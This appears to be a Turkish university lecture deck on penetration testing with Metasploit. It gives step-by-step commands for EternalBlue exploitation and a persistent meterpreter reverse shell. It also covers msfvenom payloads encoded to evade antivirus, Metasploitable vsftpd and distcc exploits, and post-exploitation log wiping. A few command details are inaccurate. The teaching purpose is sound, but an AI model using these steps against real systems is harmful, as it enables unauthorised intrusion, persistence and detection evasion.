Kalıcı Tersine Kabuk (Persistent Reverse Shell) Nedir?

Kalıcı tersine kabuk, başlangıçtaki bağlantı sonlandırılrsa bile **aktif kalmaya devam etmek üzere** tasarlanmış bir tersine kabuk türüdür.

Bu, saldırganın tehlikeye atılan sisteme uzun bir süre boyunca erişimi sürdürmesine olanak tanır.

Kalıcılık Nasıl Sağlanır?

* Saldırgan, hedef sisteme tersine kabuk bağlantısını kuracak ve bağlantı kesilse bile açık tutacak bir program yükler.

* Bu program, meşru bir uygulama gibi gizlenebilir veya arka planda çalışan bir hizmet (service veya daemon) olarak kurulabilir.

Metasploit ile Kalıcı Tersine Kabuk Oluşturma Adımları

Kali Linux'ta Metasploit kullanarak kalıcı tersine kabuk oluşturmak için izlenecek temel adımlar:

1. Metasploit Kurulumu: Kali Linux makinenizde Metasploit'in kurulu olduğundan emin olun (Gerekliyse: `apt-get update && apt-get install metasploit-framework`).
2. Konsolu Başlatma: Metasploit konsolunu 'msfconsole' komutuyla başlatın.
3. Exploit Arama: Uygun bir exploit bulmak için 'search' komutunu kullanın (Örn: Windows sistemlerini hedef alan exploitleri aramak için 'search windows').

Exploit Seçimi ve Hedef Ayarları

4. Exploit Seçimi: Bulunan uygun exploiti 'use' komutuyla seçin.

* Örnek: use windows/smb/ms17_010_eternalblue.

5. Hedefin Belirlenmesi (RHOSTS): Exploit için hedef IP adresini (RHOSTS - Remote Hosts) 'set' komutuyla ayarlayın.

* Örnek: set RHOSTS 10.10.166.240 (gösterim amaçlı bir IP).

RHOSTS, saldırının yapılacağı uzak makineyi tanımlar.

Payload ve Dinleme Ayarlarının Yapılması

6. Payload Ayarlama: Başarılı exploit sonrasında hedef makinede çalıştırılacak kodu (PAYLOAD) 'set' komutuyla ayarlayın.

* Örnek: set PAYLOAD windows/meterpreter/reverse_tcp.

* NOT: Varsayılan Payload genellikle windows/x64/meterpreter/reverse_tcp'dir.

7. Dinleme Hostu (LHOST): Tersine kabuk bağlantısının geri döneceği saldırgan makinenin IP adresini ayarlayın. (Bu adım opsiyonel olabilir, çünkü LPORT varsayılan olarak cihazın IP'sidir).

8. Dinleme Portu (LPORT): Tersine kabuk için dinleme portunu 'set' komutuyla ayarlayın.

* Örnek: set LPORT <port>.



9. Kalıcılık Komutunun Ayarlanması:

- * Kalıcı bir tersine kabuk oluşturmak için, hedef makine her başladığında çalışacak bir kalıcılık betiği (persistence script) kurmanız gerekir.
- * Bu, 'set persistence true' komutuyla Metasploit'te ayarlanır.

10. Exploit'in Çalıştırılması:

- * 'exploit' komutunu kullanarak bağlantıyı başlatın ve hedef makineyi sömürmeye çalışın.
- * Başarılı olursa, Metasploit konsolunda bir meterpreter oturumu açılacaktır.

Meterpreter Oturumunda Kalıcılık Betiğini Çalıştırma

Exploit başarılı olduktan sonra açılan meterpreter oturumunda kalıcılık betiği çalıştırılmalıdır:

Komut: `run persistence -U -i 5 -p 4444 -r <LPORT>`

Bu komutun anlamı:

- * -U: Kullanıcı düzeyinde kalıcılık (yetki yükseltilmez).
- * -i 5: Kabuğun her 5 saniyede bir Kali Linux makinesine geri bağlanmaya çalışacağını belirtir.
- * -p 4444: Kalıcılık için kullanılacak port numarasıdır (LPORT ile aynı veya farklı olabilir).
- * -r <LPORT>: Bağlantının geri döneceği saldırgan makinenin IP adresi ve dinleme portu.

Meterpreter Oturumu ve Sonuçlar

Eğer exploit başarılı olursa, Metasploit bir meterpreter oturumu açar.

Meterpreter, hedef sistemin programları nasıl tarayıp çalıştırdığını etkileyen gelişmiş bir saldırgan faktörüdür.

- * Meterpreter, sabit diske yazmayan, yalnızca belleğe dayalı bir programdır.
- * Kendisini saldırıya uğrayan işleme enjekte eder ve buradan diğer çalışan yöntemlere geçiş yapar.
- * Meterpreter oturumu kurulduktan sonra hedef bilgisayarda hemen hemen her şeyi yapabilirsiniz.

Örnek Eylemler:

- * Web Kamerasını Açma.
- * Ses Kaydı Alma.
- * Hedef Bilgisayara Dosya Yükleme veya İndirme.
- * Hedef Bilgisayarı Kapatma.
- * Tüm işlemler listesini 'help' komutuyla alma.



Metasploit Payload Oluşturma (Msfvenom)

Metasploit çerçevesi, güvenlik açıklarını istismar etmek ve doğrulamak için kullanılan temel sızma testi aracıdır.

Metasploit'te yaygın olarak kullanılan üç temel yük (payload) kategorisi şunlardır:

1. Tekliler (Singles): Küçüktür ve diyalogu başlatmak için kullanılır.
2. Aşamalayıcılar (Stagers): Ağ bağlantısı kurmak için kullanılır; daha küçük bir yük kullanarak daha büyük, karmaşık bir yükü (stage) yükleyip eklemeyi sağlar.
3. Meterpreter: Gelişmiş bir Metasploit saldırı yüküdür; komut yazımına izin verir ve şifreli bağlantı sağlar.

Msfvenom ile Temel Payload Oluşturma

Payload oluşturmak için msfvenom aracı kullanılır. Bu araç ile bir Ters TCP (Reverse TCP) yükü oluşturulabilir.

Komut Şablonu:

```
msfvenom -a [Mimari] -platform [Platform] -p [Payload] LHOST=[IP]  
LPORT=[Port] -f [Format] -o [Dosya Adı]
```

Örnek Komut:

```
msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcp  
LHOST=192.168.1.9 LPORT=4444 -f exe -o payload.exe
```

Parametrelerin Anlamları:

- * -a: Mimariyi (x86), -platform: Hedef sistemi (Windows) belirtir.
- * -p: Kullanılacak payload türü (reverse_tcp).
- * LHOST: Saldırganın IP adresi (payload'un bağlanması gereken yer).
- * LPORT: Payload'un bağlanacağı port.
- * -f exe: Çıktı formatı (program yürütülebilir dosyası).



Kodlayıcı Kullanımı (Encoder) ve Tespit Edilmekten Kaçınma

Anti-virüs yazılımları tarafından tespit edilmekten kaçınmak için payload oluşturulurken kodlayıcı (encoder) kullanılabilir.

Kodlayıcılar, tüm hedef payloadı veri bölümünden geçirir ve her bir baytı belirli bir anahtarla dönüştürür.

Tüm mevcut kodlayıcıları listelemek için komut: msfvenom -l encoders

Örnek Kodlayıcı Kullanımı (x86/shikata_ga_nai):

```
msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcp  
LHOST=... LPORT=... -e x86/shikata_ga_nai -f exe -o payload.exe.
```

Çoklu Geçişli Kodlama ve NOP Sled Kullanımı

Çoklu Geçişli Kodlama:

- * Payload, -i seçeneği ve istenilen yinleme sayısı kullanılarak birden çok kez kodlanabilir.
- * Yinleme sayısı ne kadar artarsa, anti-virüs yazılımından kaçınmak o kadar kolaylaşır.
- * Örnek: msfvenom ... -i 10 -e x86/shikata_ga_nai ...

NOP Sled (NOP Kaydıracağı):

- * Shellcode'dan önce gelen uzun bir dizi yönergedir.
- * Başarı olasılığını artırmak için bir istismarın parçası olarak eklenirler.
- * Yürütme NOP sled içinde herhangi bir yere yönlendirildiği sürece, shellcode sonunda çalışacaktır.

Oluşturulan Payload'un Çalıştırılması ve Dinleyici Ayarı

Payload'un çalıştırılması için gerekli adımlar:

1. Yük dosyasını hedef Windows makinesine kopyalayın.
2. Saldırgan makinede (Kali Linux) bir dinleyici (handler) yapılandırın.

Dinleyici Yapılandırması (Metasploit Konsolunda):

- * use multi/handler: Genel yük işleyicisini kullanmak için.
- * set payload windows/meterpreter/reverse_tcp: Yürütülebilir dosyada ayarlanan yük ile eşleşmesi için.
- * set LHOST [Saldırgan IP] ve set LPORT [Port]: Dinleme adres ve portunu ayarlayın.
- * run veya exploit: Dinleyicinin bağlantı aramaya başlaması için çalıştırın.

Pratik Uygulama 1: Ağ Keşfi ve Haritalama

Sızma testi sürecinin başlangıcında (Bilgi Toplama ve Ağ Haritalama) ağ keşfi yapmak esastır.

1. Ana Bilgisayar Tespiti (Nmap/Netdiscover):

- * Ağdaki IP adreslerini ve ana bilgisayarları tespit etmek için kullanılır.
- * Komut Örneği: `nmap -sP 192.168.0.0` (veya `netdiscover -f`).

2. IP Adresi Tespiti (ifconfig):

- * Kali Linux makinesinin kendi IP adresini bulmak için 'ifconfig' komutu kullanılır.

3. Tam Ağ Taraması ve Açık Portlar:

- * Hedef IP adresi keşfedildikten sonra nmap ile ağ taraması gerçekleştirilir.
- * '`nmap -v -A Hedef IP Adresi`' komutuyla hedef sistemin açık portları listelenir (v: detaylı çıktı, A: agresif tarama).



Pratik Uygulama 2: Zafiyet Tespiti ve Exploit Arama

Zafiyet tarama aşaması, sistemdeki açıklıkları ortaya çıkarır.

4. Detaylı Servis Sürümü Taraması:

- * 'nmap -sV Hedef IP Adresi' komutuyla hedef bilgisayarda bulunan açık portlar ve açıklık türü listelenir. (-sV: Servis sürümü taraması yapar).

5. Metasploit'te Zafiyet Arama:

- * Tespit edilen zafiyetin adını Metasploit aracı içinde aratınız ('msfconsole' komutundan sonra).
- * Bu, zafiyeti sömürmek amacıyla uygun exploiti bulmayı sağlar (Örn: vsftpd_234_backdoor).

Pratik Uygulama 3: FTP Zafiyeti Sömürüsü (vsftpd)

vsftpd_234_backdoor exploiti, özellikle 21 numaralı portta (FTP servisi) bulunan bir zafiyetten yararlanır.

Exploit Seçimi ve Payload Belirleme:

- * use parametresiyle exploit seçilir (Görsel 3.30).
- * show payloads komutuyla exploite uygulanabilecek yükler listelenir.
- * set payload cmd/unix/interact komutuyla kullanılacak payload belirlenir.

Cmd/unix/interact payloadı, hedef sisteme sızıldığında kullanıcıya bir komut bağlantısı (command shell) oluşturur, böylece hedef sistem payloadla kumanda edilir.

Pratik Uygulama 4: Exploit Yürütme ve Shell Bağlantısı

Hedef ve kullanıcı IP'leri (RHOST ve LHOST) ayarlanmalıdır:

- * set RHOST 192.168.134 (Hedef sistemin IP'si).
- * set LHOST 192.168.182.128 (Kullanıcı makinesinin IP'si).

Exploit Yürütme:

- * exploit veya run komutuyla işlem başlatılır.
- * İşlemin başarılı olmasıyla 'command Shell session 1 opened' ekranı gelir.

Bağlantı Kontrolü:

- * 'whoami' ve 'ifconfig' komutlarıyla hedef bilgisayarın bilgileri kontrol edilir.
- * 'uname' komutuyla hedef işletim sistemi bilgisi görüntülenebilir (Örneğin Linux).

Pratik Uygulama 5: Savunmasız DISTCC Zafiyetinden Yararlanma (DISTCC Exploit)

DISTCC, Metasploitable2 üzerinde çalışan savunmasız bir uygulama olarak bilinir.

- * Hedef bilgisayarda kök erişimi (root access) elde etmeyi sağlar.
- * 3632 numaralı bağlantı noktasında çalışır (Arka plan için varsayılan dinleme portu).
- * Yalnızca IP tabanlı kimlik doğrulamasını destekler.

Exploit Arama:

- * msfconsole'da 'search distcc' komutuyla distcc_exec exploiti bulunur.
- * use distcc_exec komutuyla exploit seçilir.

Bu exploit, TCP ve UDP servislerindeki bir zafiyeti sömürmek için kullanılır.

DISTCC Exploit Ayarları ve Yürütme

DISTCC zafiyetini sömürmek için ayarlar:

1. Payload Seçimi: set payload cmd/unix/interact (Yine komut kabuğu etkileşimi için).
2. Hedef IP ve Port (RHOST/RPORT): set rhost 192.168.1.37 ve set rport 3632.
3. Kullanıcı IP (LHOST): set lhost 192.168.1.36.
4. Yürütme: exploit veya run komutuyla işlem başlatılır.

Başarılı sızma sonrasında 'command Shell session 1 opened' ekranı gelir ve yetkili kullanıcı (whoami) bilgisine bakılabilir.

Bu erişimle yetki yükseltme, dosya kopyalama, silme ve kullanıcı şifresi değiştirme işlemleri yapılabilir.

Yetki Yükseltme ve İz Silme Eylemleri

Erişim elde edildikten sonra hedef makinede gerçekleştirilebilecek önemli post-exploitation eylemleri şunlardır:

1. Yetki Yükseltme (Privilege Escalation): Elde edilen Linux komutlarıyla (örneğin 'sudo' zafiyetleri) daha yüksek yetki seviyelerine ulaşmak.
2. Dosya Yönetimi: Kritik dosyaları kopyalama, istenilen dosyayı silme işlemleri.
3. Kullanıcı Yönetimi: Yeni kullanıcı ekleme veya mevcut kullanıcıların şifresini değiştirme.
4. İzlerin Silinmesi (Covering Tracks): Giriş kayıtlarını (loglar) silme ve yapılan değişiklikleri eski hâline getirme.



Siber Güvenlikte Etik Sorumluluk

Sızma testleri, güvenlik uzmanları tarafından ilgili kurumdan **izin alınarak** gerçekleştirilir.

Kalıcı tersine kabuklar oluşturmak genellikle kötü niyetli bir etkinlik olarak kabul edilir.

Bu tür işlemler **yalnızca kontrollü bir ortamda** (sanal laboratuvarlar gibi) veya yasal olarak yetkilendirilmiş bir pentest kapsamında yapılmalıdır.

Sistemlerin yetkisiz erişime karşı korunması ve istismara karşı güvence altına alınması için uygun önlemlerin alınması önemlidir.



Sızma Testi ve Zafiyet Tarama Farkı

Kurumlar bazen sızma testi yerine zafiyet tarama (Vulnerability Scanning) isterler.

Ancak, zafiyet tarama işlemleri sistemin tüm zayıf yönlerini bulmaya ve gerekli önlemleri almaya ****yetmeyebilir****.

Sızma Testi, zafiyetleri aktif olarak sömürerek (exploit) ve erişim sağlayarak zafiyetin gerçek etkisini gösterir.

Tam bir güvenlik için, sızma testi çeşitlerinin hepsi uygulanmalı ve gerekli iyileştirme çalışmaları tamamlandıktan sonra güvenlik durumunu belirlemek için ****doğrulama testi**** yapılmalıdır.



Özet: Temel Sızma Testi Kavramları

Bu sunumda geçen anahtar kelimeler ve kavramlar:

- * Pentest (Sızma Testi): İzinli güvenlik değerlendirmesi.
- * Kali Linux: Güvenlik testleri için kullanılan Debian tabanlı işletim sistemi.
- * Metasploit: Exploitleri kullanmaya yarayan, açık kaynak kodlu sızma testi çerçevesi.
- * Nmap: Ağ taraması ve zafiyet tespiti için kullanılan araç.
- * Exploit: Hedef sistemdeki açıkları sömürmek için yazılan yazılım.
- * Payload: Hedef sistem üzerinde yıkıcı veya ayrıcalıklı erişim sağlayan kötü niyetli kod.
- * Backdoor: İstemli veya istemsiz bırakılan, veri girişi veya çıkışı amacıyla kullanılan açık noktalar.
- * Rootkit: Kendini gizlerken ayrıcalıklı erişim kazandıran arka kapılar.

Sızma Testleri ve Metasploit Çerçevesi

Süleyman **EZDEMİR**

suleyman.ezdemir@giresun.edu.tr

